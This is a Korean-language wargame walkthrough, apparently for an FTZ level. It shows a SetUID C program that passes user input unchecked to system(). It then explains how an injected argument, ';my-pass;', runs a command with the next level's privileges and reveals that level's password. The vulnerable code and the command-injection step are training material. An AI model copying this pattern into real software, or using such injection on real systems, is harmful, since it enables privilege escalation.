cat hint를 입력하면 hint 파일이 출력된다.
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
autodig 프로그램의 소스파일이다.
실행파일의 인자로 문자열 형태로 동시에 여러 명령어를 사용해야한다.
c언어 실행파일의 인자값에 다음과 같이 전달하면 된다.
실행파일 "ls;pwd" 이런식으로 전달하면 동시에 여러 명령어를 문자열 형태로 실행파일에 전달가능하다.
;가 명령어의 구분을 해주며 앞에서부터 순차적으로 실행시킨다.
find -user level4 -perm -4000
위의 명령어를 통해 level4 권한의 SetUID가 설정된 파일을 찾는다.
그래야 level4 권한을 이용해 명령어를 실행할 수 있다.
/bin/autodig라는 파일이 나온다.
/bin/autodig ";my-pass;"
위의 명령어를 입력하면 level4 권한으로 my-pass가 실행된다.
내가 입력한 ";my-pass;"는 cmd 배열에 다음과 같은 형태로 저장되고 cmd가 실행된다.
dig @;my-pass; version.bind chaos txt
dig @는 에러 발생한다.
이어서 my-pass가 실행된다. level4의 패스워드가 출력된다.
이어서 version.bind chaos txt가 실행되는데 이런 명령도 없다. 따라서 에러가 발생한다.
참고로 dig는 DNS 서버와 통신을 점검하는 명령이다.
dig @DNS 서버ip version.bind chaos txt 형태로 사용한다.
Level4 Password is "suck my brain".